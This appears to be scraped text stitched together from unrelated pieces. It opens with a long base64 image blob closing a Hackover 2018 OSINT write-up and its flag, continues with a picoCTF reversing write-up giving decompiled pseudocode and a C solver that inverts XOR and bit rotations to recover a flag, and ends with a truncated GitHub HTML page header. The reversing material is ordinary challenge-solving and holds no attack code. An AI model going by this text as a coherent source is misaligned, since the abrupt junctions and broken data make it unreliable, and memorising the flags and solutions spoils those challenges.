hfYLN5vxSc1ZfGbwz9hP4Cyk2tz7UukUjkn2IZfw13kaFxZb4k5pOXpJQQ3uXyqTS6pqoX5Sap91o+/YyrhEnJnT9sw9/d6z7JPOozXlktrMFDt6lU1apohtuYE5ItQbYOUOlV16ZvP7JdX1ax9zyek065owcM/ak3a43sohFMZOXGRu0I6suNuV2KjKidosBdTNbVrHmEU18xO0+f7jEj2RsajOSC8jmLddKLW9ObFcLqmqhS6ybvQbKaqvVeTrDyyDxVVoq9rMFDvrTkaGmAnpMK1a2QHNI9L/XVH+hQ2XVNevfcslMb24uChceUK729HhJJy/2/G47ZHGs9DRmDYvPOUwjUH+yCbIVXzbfzGTnHtGMNmTgDbfZ1wSC9zedPg5Gj6RxrpYTL/xOz/SFXvjXFJVCznvwXrXHWDX1dXoDpWA4XrXodpxSY1migU0RiY7WVjcnhtYAs/ywJR2lvssdLiGXFJdv/Ypl7TxV9jNzbXZTKIkPrM5wNDvnDf6NKazdGIiaLceGC/LYUw2eVU7nqlBTALYw1wy/MUN7rewLCvMP57Xf4nI4pKDYf0qLedbLnaNS6ppoV6+YLnrjib0n06p1d2O/C+AFV1YWZW2qs1MaTczpoX4qgtuYCdtc2tJ10Hzsrikqn7tQy6JHev+mcsyl38FoCiVhv8trOLpOBZZ23T8gRNmIqwvZAWr7rB45ma2ovscgb3HJRa/0TvU9vH4ia6Z8zeezK9yuUbii2s2Feb8L4hMXuXywQ+PhUb0X0iNdw81vxUuqaaFzIIjA5DJhE7r1ysd65qPZwx5vbW6c56/F1kwXgJYpbaqxUxxP9nr6lotPTehyt9Wcvi998r7tSe5xPwbvQeU3+j9erLrajqe5u+GyNvdYcX/Ru9yfO643W/0jtjcdKcXwNv8SpV+g2R5xQAnIpmR+BOKkTn4MXuIS1yL+OJWl30NHf87mvRnPV8kZ4T4TFbgatSFkVqlilfCJVW0cPj8nCF5d51e+7qpX/u69ez729la/37JkH7bGL0COVYzbVWLmdIj6e5m4fiNzQp0SllcUnm/9iCXuJZ88oZDod8Qd20i/a31eTJiE88eceajmEmfsPU49QJ4m1vouR/QK+c+RzbLWq4gsH+4pCDMpbs+LXXOcTRxbW7Hbk0/uj1Vu+t0KuKSalpIHlywflBcXfs2OMRyhGrHJcSs+2mS6cHVDAst1kBbVT9ThntHXFyrxd0KZVUeXwsuqbhf+5RLxIxwratk0tRw50DWThWsLywGjjqbFFnuVmCLX8fibspwf58juGR/cYko5on1PT8nxG7MfXHafWAqdiyUujWRFbJ5kRg8YmFz9UUyng4Fa/tTaJVySVUtHDrevRibeUEfJM9t7QjptVs9U8cOGzZVLbnEcJOEfql+jbRVlTPF5fW5ulaL/fiVqys0KuSSyvq1X7hEpL/buL28sBa/vRj6esx9DODg6ZlrI2uPVndkJ6UgZrcfzWSudY+X/gRWLWQ3I9yPscZDMXDJfuQSANiDcMElAACASwDAES7qRgEAAJcAgGPNKbtqcP7qMAYEAMAlAFA2DpxefFSjny0AAABcAvzOEEwvZ7eXM9t6+qq41nUYIwMA4BIAcA1D4qnslMxfxWEJAIBLAKAcnOh5JmwVqE8i5oX0Wt/F8QMYFgAAlwAAAADgEgAAAABcAgAAAADgEgAAAABcAgAAAIBLAAAAAHAJAAAAAIBLAAAAAHAJAAAAAC4BAAAAwCUAAAAAAC4BAAAAwCUAAAAAuAQAAAAAlwAAAAAAuAQAAAAAlwAAAADgEgAAAGB/c8mf+98DAAAAgGoALgEAAADAJQAAAAC4BAAAAACXAAAAAOASjAIAAAAALgEAAADAJQAAAAC4BAAAAACXAAAAAAC4BAAAAACXAAAAAOASAAAAAFwC7H98lc5K+fEz71rD7lzPSFvD9yxf7Z6SpM3M2XeptQMrkpR68EGpd3YO56XM4qm3N3Tl4lDH/et3n2ayeVGSRDG3mvoldmmsqJs/dEZ/SSvvefzw1LlfROl5z/vYXAC4BFzybnPJqXA6dvP+J+9QawfP9qVjl+NH9hWX3Dp16ZdVMbcwPNv91Z2P3h/8qGPs7KXFiZXC1uyDL9u4d36zTJbQwuDshXPTkXD8A3AJAC4Bl+wJLtm72ENcQighu7l+/bMfzC+13bkym8/enWDE+UnfSym73MXeAC4BwCXgEiOGzt5cyWQLklTYWnk6Er5ziAtrfHk5kyYvifns45WJlFFFfjgxMLu9JUri5vbC3ZWMJE2HdU0UGX66uik/mDF+pn/syt31VRooyWdmVxY2bRVi53BOWln8UvlveEWSnsfCD8ZT21tSQcw+n7g8ZucfHDmXXsjktkSlR8+nb058xF59/15P4jlpmEgaRl/S/R4aUpNeXu+w/syP+p5LikxN6xZ9OD23Isd8si/Jt3xi4JL02XOL05mcKBaymZXrXw1qDZhdkKS5vvvXp55nlaEbnv6kzd0kOg2dbWNo4795OPE4tyXRr0snHnQxAmi7N5LNT5yjRHLkm4fT9HHS2vX0prRw+Yf33p+eFtUB+SCqdV8WOtEmLpEHNiu3bTWVuaKS060Ls5L0+IE6/m33J0Rp9eYd9ZEzmS3p+fUPLTvrsPCcegqAS4C3xSW3uoa3JWl7+ubshXDyeuKlKOWnzw1qpuhz8t/03YdXLiV7bpK9Lelb2j8xvilJK09j0dnI5YexqW1R55LhK6nCViZzPTxx9sz9yOB6VsqNf/MDe0kSt6cHH1y5/GCA8I3onkskafP5yOX7nV9NRIZJO7cHTtrY2peW5+4u9lxOkh71DD7NSoV09I767Y8L4sov18P3z56b7hlcWd38pdsdlxzqiJO+jGR0LiEWPWG1TOJhJDwdubmyKkmrw/eOMC4hQro5/PB63/IcGTdi0bfpXCJJubnB5Nmv4mcv/0IeXLg85GISnYbOoTFHvlleFXNzN2e7z0ycJWScKYipB4r+PUT4IPOQ/pvSRiFzd5Y0qSu8uKBwyZ/7u+7mM3106A59OBZJ5KTNlR7yIWcmvnzfyCVtY9czBSm7Hrs8fSH8YORxXhLXr3RoHCxqg0zJg1DLw090RyfdadVZh4Xn0FMAXAK8PS75kKq2TN8wOxKIzBZUDe4n+kXKDsYPWYVuTt3clsSnV3SzlH6OwiWHzvyyRXS0X6crapwm7mvapDAdHnQTqCniEk7Rt9G2paNuVPCt7qmCahq3JeckVUtqlv4PTA19cPJe1zdjHzm5CINXUoxL6Dm8OJv8gFN/xHPq+VAbqOzKBWZxnyFqdzv2GeeXXPrB8JmzyUMlO+I0dA6NGe55zM9v/3ufpVellwPySH45mMsOjqkaf4Wp9WHyycooHbr0lPT3EJvxTesY16HwCu3gV2x2qJ2xdfeetvDUvpMJ3UqtZ9SG3bowJYmJ+xYdd1p4TsMOgEuAt8clVCO85A38Q5efStI61RFnMroGNG/pIaKhpClOA3JcQjmgWGRt/uXgtm6lls0l61x0Ph7LUnVj3dm2oa7o8nTq5Wo2L0e6CFs+PKU9RXypAeLcnBw8VPYwclzip/010FLHw4w+AsZg4EnyUmHijHmgVH8oUWCmugOchs6hMX5Kn0WiNubs3YLCx+QfKtkbueS9bzJbWoTKgUvoTPFHKUqnVpQRoHGthcuEAscGVgoT5+KxFeW/dC7kf1iwpu3Ccxx2AFwCvDUuUZjjit+KXS49NapvXkWOEY1g4ABORZ6lemS5++SdUzw6qO6mOovRQ1VcMmbPJYPdU3lJiZCE75/9Jn6F/Fflkv4jn82OP86JskIVs8/HL905VBmXKCrsHG9N606PmUs6HqaJ+j5nzSV0uDKlucRp6BwaQ79amosa5+LknY/86ggrpxekDaIllxC1ruVAO3AJZQ5jrgHHLj+QQRMTE7SR4sqFNvml2eQROg42UUqHhec47AC4BHhn/RLD+YHZL9G1T5FfYrCgjcZ1drlzV7nkfVPUjgb9GZeoffQPd55JDswS/+m53QGJO79k0JVfUgsucRo6h8b4zaNhSFK49FQkal3hCb0NOpccubwu3p14z41fsmnnl5AHX5J/n40+l+Tvor4OIRXyuF3xkMPCcxx2AFwCvPXzkjsW5yUdD9KGfXurO6GrSKoB+bCGbP+q5yVUyxQWLg8b0nI+o/89QgPrfHSbhr9rzCUf0mZzpuutswmNS9qGT314izs5WFyV8iNfVX5eIs3OfsSnzPLnJbXmEsehc2gMpRz95F/NIxg7pXii7ydpptZJpYX59GCy+1xyIEHTKGQuITOemz53qySXyOclOTaS7/nvT7DzErkwZUt6nn7M1tLEuFhIP95WqUWeo08+u9f11R31FMRp4TkNOwAuAd4MlxTSg7NXLnM4Q/T7D3IeV25uUMnj2qZ5XOoB7+AFwiviy4mbD3r6FsdT8ikIU5H0CFfKppavRx9cH17JyGEjTYPf6XlckKT8wvADmmwTXZzI5NUQCk1ClbZS6QvfxIlnEJM/s9YxrjF6PPs43f3VnVNf3e+hmWnaeQnRmOL2HGnVuYmz52YHyLdnM2fbXOVxFXFJ/wfhlS2psJpYvBKevkKzxaTs8MSRP+8WlzgPnUNjjpzJkP+KmV8GaJJV8jpNANO7earv5VYm3eW/depSZmElJ+dJT1+fym9lt1fJfzPpTm18HLhEzuOSpM31kWjywqUH42T2xfUePlGCrg6WQCxnQxi8JZnwdF/WaeE59BQAlwBvhkuKRE0fGubqS9YNtSDv37suV5BIYi59d7aHmIesVoDWS8sVAOSpzNOBS+kFqaD7Pf47FwZX1Ds5NrfTs8s936g5V0c+m53I5ES58mOi78F4zf0SYiafTCqHImL25dzw7HV2XtJGW5Veyck1MbnMVPrCSd1NccUlhsjerVPhZVboMMeVquwKl5QYOtvGyPUlcl2OXPyRzaxP3JzmCtqHuu9ub2Wfxi7d+4Qdm/kHjxT5Z05coiwVpb5E4utL1K+gEVEuv8Dsx5i5pNTCs+8pAC4B3n1Qq5xFz83qm16wse9DDWMOEbm9jB9OnXs4QYtAiXouiFRJb8e+2RsLDwCXAHsApy4vjw8+7LmcjFx+IFcjcpmabRMDieWBvgeRS8krfcsLWUmcmv5gv45DWC6aG35OKzzO7VLK0MQ4rca3AZ/msIu49cGHQx+9/8Ohd3nhAeASYM/hk0u/KHEq5SqLgTNDfPh+4PF2Vq7ekC8CSX7p37fj0DWoXhUzx1/HAryVhQeASwAAAABwCQAAAACASwAAAABwCQAAAAAuAQAAAMAlAAAAAAAuAQAAAMAlAAAAALgEAAAAAJcAAAAAQBGX/OG7TQAAAACoBuASAAAAAFwCAAAAgEsAAAAAcAkAAAAALsEoAAAAAOASAAAAAFwCAAAAgEsAAAAAcAkAAAAAgEsAAAAAcAkAAAAALgEAAADAJQAAEGx9l5Wk5dxbb4nveu7qP3NtmBEAXAIA4JLKuWSsIEmFzu8xIwC4BADAJeASAFwCAOASHv/v/3aGnr7ekaSdndcz/9ppu8Kp/r/n+lbIS7/tbL9O/KuwJv3W93/aq99vf/6gkNn5TZJ+W8u+ujq4pT2VG3olzSfYfzf/9M/X0k7+v8i///FK4mU7j2AXAC4BgP3AJb7r4uIraW0l/9eR3OeJ/PyOtLOy85/Kq/+TS7ySdghPJHKdcVEhFY1Ltk6mf5NevR6azn0+kru6/FqSXmsv2XNJdPvjB9Qv+dvgrx8T3Nz6I6YGAJcAwD7gks+Xf5NeyIpeoZbB/AvptwGZFdpThANenWRuyt/FRcYlfxcz0m+JsS39859K0tOd/3DmEsS4AHAJAOxHLvm1b1taS/3K/YUyQeaf23/4bvtvL6QX/+Je4rjkj3FKCX/lomH/OU1ck1efg0sAcAkA/P64hOr9Rcocxezy64BKKhZcojDHSe6j/jjG2AVcAoBLAOD355e8sPdLDC5LsV8StfRLfqVcMg0uAcAlAPC7Oi/Z1s9L/viPV+y8pPPfkpQV/8SOUm7mM4bzEikR3zJ8vnpeYiah/3qgc8kf/vFqRyqc+x/MCAAuAYA9yiXZ/F/jOxxybVfkPC5JerGSPzeW60zk51/peVzyObyU+Xf+XGLnaqqQoQm9eh4XJaFXr4f+ufP5yM7f/i3ncQ2qXycf2he+G/y17Wbu3L8KO+Q5xiX/uzMvSWvL4ucjub/Gf/0PTA0ALgGAPcYlZnn93f8q9SWiUl8iFdWX/Ffi1aJWQfJdnPglr/92nasvSbH6ksLVf+hBrT9Ef/1u+fWLV3JVSmqnM8X5Jd9ttsVfLW7Tp16s7PwJUwOASwDgd4U/jtDw1Oc46gDAJQAAlIFo7m/p/NXETudY7tw/84s70tq/fvVhWABwCQAAZXFJ31MaqqLRr+3XiQe5P8EpAcAlAAAAAAAuAQAAAMAlAAAAALgEAAAAAJcAAAAAALgEAAAAAJcAAAAA4BIAAAAAXAIAAAAA4BIAAADgjXKJBIFAIBBIdQIugUAgEAi4BAKBQCDgEggEAoGASyAQCAQCLnlrIoSb6ur8/cY/JgINdQ2BhPKfZNBXVyzKI7neVv1PHm9Dkz/Uv8R9kNOzJhnt8OrvaIluqH/eSEQDLU0+b72HfLyvsdkfCPenNoofT4Ua6zzNEcH4xzD5Y0tU/WNuqT/U3ix/lKe+oak1EE1ulBoZs/iCSdLUdk+dL5Syf1Tpi6e1P2f1uYlIoFVthrehsamlPRgdXcq5nrEl0imvNjk1ENrYpvDSW94CG5Fmi1bkUr2B1sYGL52wxpaOSMJqwoRYkLynvq7O25HQPopJg5uRokPQQGdWb85oh6/O0xRK5vRFbmjeRrSlztM+yrU02kEmlS4tX3NHNKnNZ6y9Xlk0/EI1tmqJLLT69lgNtio/cqMBX53+zTnS3DrD9kjQNWroUpJ8lKGpNsvPYlsY2rXUT+bDq2wyfzix4XYJ5JZiIX8zmUnypNdHN0YomhBMmsHma3P9rZ46ugJGTTNrt1XlRdLay2+7VKSlvq7B3y+U3IGxUEdLk9JQuizNekQYDfmb1FdbgzGh+tVOp6au3ks/bWmvc0l9c7DXKAmBcUlje7SfSG801NFMZt3bHsvxXGL3rHkghVQyRjdwaySZXFJGcaO/nYxhQ3NHKBLt7Y2Gg+0tvnrDFuaej7V767x+/buljd7W+rpGdSHlkqEm8mhDS0dI+Sh/I9E+TitHHpmmDmPT++myKcUldPH7fKQrfjOZ5BKhZtqK5vZQhHxaNEK61OyjDQkkf8dcspGM+hvqiloh9JLN7WsNxxIpsjbCfqrdw6li3eapbw6NpoSNDXW0N5aSyQjRnY2BWDIl5MrnklSEzFJDe0xZhfIib2hoICt7NGfNJRv9fm9dfVNHpD/WHw2QXVDf2rvBK/EN/jmZl9i6kz++JZqrJZcsRVu9zPRhFODhFT5ZRXUGbSpEyDtKU1ouFTNt50h7I6fUR0mDPI3t4V4yEqGWBmrguVpbKbo/633EVqT7MxIK+Ju8HnlJCMl+7auiHeSrfO0R9t2jgkolfo/H52soIhPXXCIbD/XN4ZQLzuttITvYHyBKKRoJtvo85LnoEm8skLa0hnr7Y71kzXo8jSZ+rmS15zY2hNRoqMXrKbVV33kuKeJ7fh9w5o6s0Ot0e9zpWSs1SZ0LfTnT/xYNeS7ZG7OecCHa4uEssdEO0okOdfcnqZXWGEjkDBuOTB7b9O5GxnmB6pqpOZIki9VEJjn6iqcpmDDpjQ3iqURTv1MuSQYbNCPT1Aqz+iPjrtsGbEyJbq63WGExf537Xhm4ZCPWTrVKJGVY5P5IpNnDOb4GLqFLxaMvJKLZaEOX9DXtZ2ua+Cm+JqIl9X7RL9feXBMuySWCjR5fINxhcDMSAS+3bGifGpuaPNxCIuqYiwe4F9mt0hY61bP8uCc6Gly5hpQMDFao6nH2G90as77hnibjnwj5NN+0TC6RjQdfx6i73gtLfBhBoJ+kd9nkiMrxEj+nEKta7XQSm53naN9wifJxem+r4xLqhrtx/k2BLjmmRf+p8wSdYN6q5P314qVZHZcoVCLIa8xAJvKiawyWIo0Y2VW83WrNJf2JMPVoPNTxDel7QOjvaCZeshLG8zWbokJLsWCr5nwT10jxl41cIvQSm8nb2rvExSuUJ5r8IdUKlKjFYIyGGDqbS0Y7Wmi8p97r456STXJ/71J/oEUOgfh7lT+Trbm01EvUr2l3ydGg5qggGbVuqmg0rOaiUi5JhZvriSLmtYrCJTHZTmK7gucSokDrDGpY2RbqH+j+Z0SVCvk87b3kZfZBdM272yLuuETobfXWtxA7OWEKWVFtzUaE9Lgh0M9HWujbG0OpcvWHPCr6czGyNQyfYqURrTzTaLPjonfkEhrgkhdfipKJgbnccAkxHsiSb4lWak6NdtTz2rLByGcmFVj9ai9hd7xtLmmNCgaJdXhNMa72fuM7NnLWcysHmvShdHq2NJdsUEejviloeUBivdZG6fe3x4jL4eG8QdoMjxUt0MVn+YL1yKgtd+QShUo21P3BkYkc0nWxrdxwSR0Ny7cSL5vG6jy6WUh8rXbqfPfSmGMk0MIFWyhLEK+o0R+iEcloyN9Yr6g/jktyo4FGD3H01Wi/vMnqabyCfFqIuOt1PtWzk5UvF5bjQ/40WNHQHIj2j46OxuSAj9ppmUvq6+u9TaSJoVAwatz0RbuLdIYGBH3+cCyV05Rkr2lcUmRqrXZXRVwiyFqFEamRS1TTUeUMnkvkVWSweWT+0MaHKnF1j9CnyOKgS0udYcpDxbHQCrcqYfFgY71qX5u5hGpPj2qJk41Gv5QqPvUv9MPLsPoME697ZLK5ZIjXpYxb2tk99fkjCceYpCWXyF6JMoRFxFyaS1IhYjyYIhZlD4FuSdAGGg/WioakitVOZ6nB+UjrbXOJlbg/e28OL+VyORrPi/jl6MCSgZRdnr1bcAlZidHWBo9yru9ravF3hEqeUsuBLq+3nqo9juE81icSG0VHko4jo64YJy6hvpRmXcj6hukJRRVwp31kzHThjnmWEolESnCMcdW36lYU1ab11lpADtaro02P74wBPWFJMPgl1NGnu2qD+yIuckMVhUcL/ScN5rDsKilN2OhtJWZ90riXlHfKg819fsndpYZr5PlvIM6WchRunkBPvT+WqwGXBKKhJos4C8clSvBK0c88l1DmMM4A1YzsLxuKz6ZFuOjjRM+rf6FGbVNEqMlWFfr9Dfr2M3OJrNYVO48SmPylZGMo8yYbOsajaLemG/8dclS6tb+IAHtdnJmNBpvq5e5Qp7m1PRCxMCGtuIRSCTOm9D664pJwr9XJRVlHfWTMqS23IVkejzF2EWqx2pUAi3Mg8m1zSXNw1CCRVrNf0hI2vmNUmWdDHledbFgYchqcnnXDJfQrhER/ONjhb2ny1dOB9vjanTMtZGex3mDqyVwSrIRLjCOTFEr5JXJAM5xSCSIV5jwTQbFfcgZ7pqx0I+vzEnn56rt1KRYO+JsbfQ1eGumq075S9mZsE+iawgmyJzwN7VzSify5BoOKD+nyrjsdca0DdLETr4mXOrV5SozLxkS12l2ybmwKJgQh0Uv9KGq16T5DbiM1Gm5p8LZYHjWVzSU0Kuj1Eh+vKNihcwkXOjVziTG0YuASZazo64T2Ve+N6D95xJShS9Ziq1IWp7kkOVVULsnlDMEY2Ycj/1C+lLrOjXSUaBdKh5jMK5GSZAsXllH2nr8iLpG3YyoWDQX8rc1yWl5dne4i23OJclYSFdQtlwgawlzOXCJPuZeorcBoZW6JnPrl5RJ4FIUSrYRLnFe77r20er1Eo6bsojt7+7ykMRAjlrS8qj2mRIjqzkuKv26pv91XUvGOyqdfKVMzPFZarGSMq8zzEjpwZtHIhJh+fGINIcmkqg783mq4RF6sWqSCphN4GloC4d7YaCKRDDM6oC2zPrGnitTbQN0/byvP0gpzxMyzrbGLrFXlqaWOEeuXvNlDyZRR5MBFuVwSa683hK8EOVlKHU3KFU55eGVzCVUoGzSyUGeOePBcwpIDzTEuo19iiHGpzkd4iWpuVc8I8lGFIGcOuD0RLLFVBT4Vmhc2hqQj9Hg9l5IjXMypJWuHznUZqYSqU9JRtG4FJXIklR/jKlb2iTCN+RiN8GIukQ/tbWMqJbiE2g2KM1AU2HSzEalTY6a7IuZwG+NyXO0m0mlvsA/v7I+z9xxNqzNyfI25RN23JeycYi5Rzt6L21Hrs3eatdIUjHFmYyyoJ7nIG81XvGOTgYYacYk5KkXMX+aXhJz8Eo+vo7eXrFAP51irfsmGtV+in5FQG9x4+GpTpFAmlxTbuPLJgzqzG0uJ0f6w3+cllsxGLbhE9VuVugyvn4tUG7hEOwPsjZjO3vllZLZOc8oU9asRLs1z8feWDlmUsVWFVIKXKDVR2nv5eKkgT1m/fGjD0ijqvR2xXvnwujzFYcxr46ef3xp0yio40mer17iRi7iERh09LSHeU+vt0L1kd3lcckKnp9EqpmTffTm21Vz0TNIccZaNuOKyl/JWOx8KDDR6ff5w72hiaWP/coly7ipzvFATLhkNB/pNxyPGvF/XXCLnBHt2OydYCRQsFX2KFtCXc15IK0yphyYucXNeYsMl5jwW3pGQk+JYXFf+IsF4XiLnMBFTX5u9JaXSc8OOeSk31vuDlD/1Tsv5El7D90gbKbk7ZXKJ/HZjUV+oycRucpu8VvVGlecE09BNvcyq1lyidFGuHzLkBOsNM+QEszd4m5p8nA9ClXhzs8+56LXMrVr0inmnyOWITU31ug9CR7mxudlrCvK7GLIGq8xIc06w/DYXdlKqN2guRM0l6J41nuEU1SDQkTbvYErT2pC4zAmWq0vI0o+5GwN6jFvnbQlbkQ81D7gJUSMfuZqsdmUXOy/rvV2raDBOhN4WWkOhTl91tYo0KFTnbWxVSxUjoY7mBg9NA3e2H6y4RK9VVGuhXNYq2nKJtzVk7pS8eYvWrRwL0k6Hc8oBo7fJH6TN0GqyDKvIXU6wdYxLNoJaw6MptdxJPy9h1peWx9Xe5C3K41Iyt1gFjFyBR+vOovSBVjmPix97te7O5NklQ40e4ui0Bmk2Wa880NzZexGX0HknEqWho0CM/lOzt+QKobqGliCxwZKJWKSd1oCZE25kr8i0uaquVZSHoa6hI7ZhxSUslGmuVWwOROjQqrWKgkXwk/NV1MGrd29p1YBLZL+hzhDWlQ3iujIoTXNKrHWaXqsorxm6mtzUKspJOnIFYJjs9Wg0HKD7s95c52jSNzKVFJNgQg++2WxVi7p32ZByVaxII5ZkWYZosqQuo0v6gMq1imTTyLWKhkmocrXTetISsci9fYeKydHdkAdF0fjV3aGSWxrtDbW3NPm0gonG1kBvsqTpYMklknJHg36HCvmsSGKj3JFhXGKW+vb/ttnVcgIVX3E8GulobVKb4fU1tXaE+/lOVcMltLSjvUmrBwn2hgzH5/SOhpZG5/oSZU8x13KpP6Ddh9HYGjJfByEH4D1FQRrSiIBSlSJ/EWlHcsOWS4qPmLgI5kYi0qG02NvQ2GJ16Y1FfUkt7lBRPGzlHL6YSxRdan+HSnukyGKVlbgprcpXV1dO7lQtuERhMMOOlTdefftoGUqDxnLrbROZWQGRfIeKy/q/jVQ/vVqo0ScvG4+XDGJ4VCgRB+n311symu4bWG/VUcs7VJRbNkqaqnLorVi4XaDfoeI136FSg9VeImKIux0hkIqEnmdXUBcBgexBoVT07ta9QyB7Wth9XEt2RbA06GYrZddU7F6EgB5m28mbu+Rml5pBM3ftxBdMvEsr6l1sam5DWKIp8F5PqUQGcAkEUjGbxGhMRb8nGALZZ6LdE9wS6C9F5uASCAQCgVQr4BIIBAKBgEsgEAgEAi6BQCAQCLgEAoFAIOASCAQCgUDAJRAIBAIBl0AgEAgEXAKBQCAQcAkEAoFAIOASCAQCgYBLIBAIBLKX5f8DAS/FP1x4klUAAAAASUVORK5CYII=) Trusting the website, our flag is `hackover18{I_KN0W_H4W_70_STALK_2018}` That's all, folks! __CTF Gandalf__
remove the memory dump, comments and other stuff that throws errors with gcc from the file, then compile it with gcc ```——> gcc -m32 -g spec.S -o spec.o[andrei@jacky 20:15:59] ~/Documents/pico——> ./spec.oSegmentation fault (core dumped)``` it segfaults because it tries to access the old memory address. opening the executable with a very random decompiler tool we can obtain this pseudocode ```int __cdecl main(int argc, const char **argv, const char **envp){ char *char_at_pos_j; // ST0C_4 signed int k; // [esp+0h] [ebp-10h] int strlen; // [esp+4h] [ebp-Ch] int j; // [esp+8h] [ebp-8h] const char *i; // [esp+Ch] [ebp-4h] const char *v9; // [esp+Ch] [ebp-4h] strlen = 0; for ( i = argv[1]; *i; ++i ) ++strlen; for ( j = 0; strlen - 3 > j; ++j ) { char_at_pos_j = (char *)&argv[1][j]; *char_at_pos_j ^= 0x66u; *(_WORD *)char_at_pos_j = __ROR2__(*(_WORD *)char_at_pos_j, 15); *(_DWORD *)char_at_pos_j = __ROL4__(*(_DWORD *)char_at_pos_j, 10); } v9 = argv[1]; for ( k = 0x59B617B; *(_BYTE *)k; ++k ) { if ( *v9 != *(_BYTE *)k ) return 0; ++v9; } return argv[1][k - 0x59B617B] == 0;}``` what this code does is, for each byte in the dump we have:- take the address of the current position -> addr- XOR single byte at dump[addr] with 0x66- rotate right the two bytes at dump[addr] for 15 bits- rotate left the four bytes at dump[addr] for 10 bits and it stops when reaches a position where a 4 bytes value cannot be correctly dereferenced. we just need to execute the same operations in reverse order; this will do the job ```——> cat solver.c#include <stdio.h>#include <string.h>#include <stdint.h>#include <limits.h> typedef unsigned short WORD;typedef unsigned long DWORD; /*059B617B: bd 0e 50 1b ef 9e 16 d1 7d e5 c1 55 c9 7f cf 21 |..P.....}..U...!|059B618B: c5 99 51 d5 7d c9 c5 9d 21 d3 7d c1 cd d9 95 8f |..Q.}...!.}.....|059B619B: 91 99 97 c5 f5 d1 2d d5 00 |......-..|*/ unsigned char dump[] = { 0xbd, 0x0e, 0x50, 0x1b, 0xef, 0x9e, 0x16, 0xd1, 0x7d, 0xe5, 0xc1, 0x55, 0xc9, 0x7f, 0xcf, 0x21, 0xc5, 0x99, 0x51, 0xd5, 0x7d, 0xc9, 0xc5, 0x9d, 0x21, 0xd3, 0x7d, 0xc1, 0xcd, 0xd9, 0x95, 0x8f, 0x91, 0x99, 0x97, 0xc5, 0xf5, 0xd1, 0x2d, 0xd5, 0x00 }; uint16_t rotate_right16 (uint16_t value, uint32_t count ) { const uint16_t mask = (CHAR_BIT * sizeof (value)) - 1; count &= mask; return (value >> count) | (value << (-count & mask));} uint32_t rotate_left32 (uint32_t value, uint32_t count ) { const uint32_t mask = (CHAR_BIT * sizeof (value)) - 1; count &= mask; return (value << count) | (value >> (-count & mask));} int main(void) { int size = sizeof(dump) / sizeof(unsigned char); int i, e; for (i = size - 5; i >=0; i--) { *((DWORD *) &dump[i]) = rotate_left32(*((DWORD *) &dump[i]), 22); *((WORD *) &dump[i]) = rotate_right16(*((WORD *) &dump[i]), 1); dump[i] ^= 0x66; } puts(dump); return 0;}[andrei@jacky 20:23:19] ~/Documents/pico——> gcc -m32 -o solver solver.c[andrei@jacky 20:23:33] ~/Documents/pico——> ./solverpicoCTF{gEt_y0Ur_sH1fT5_r1gHt_036ecdfe1}```
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 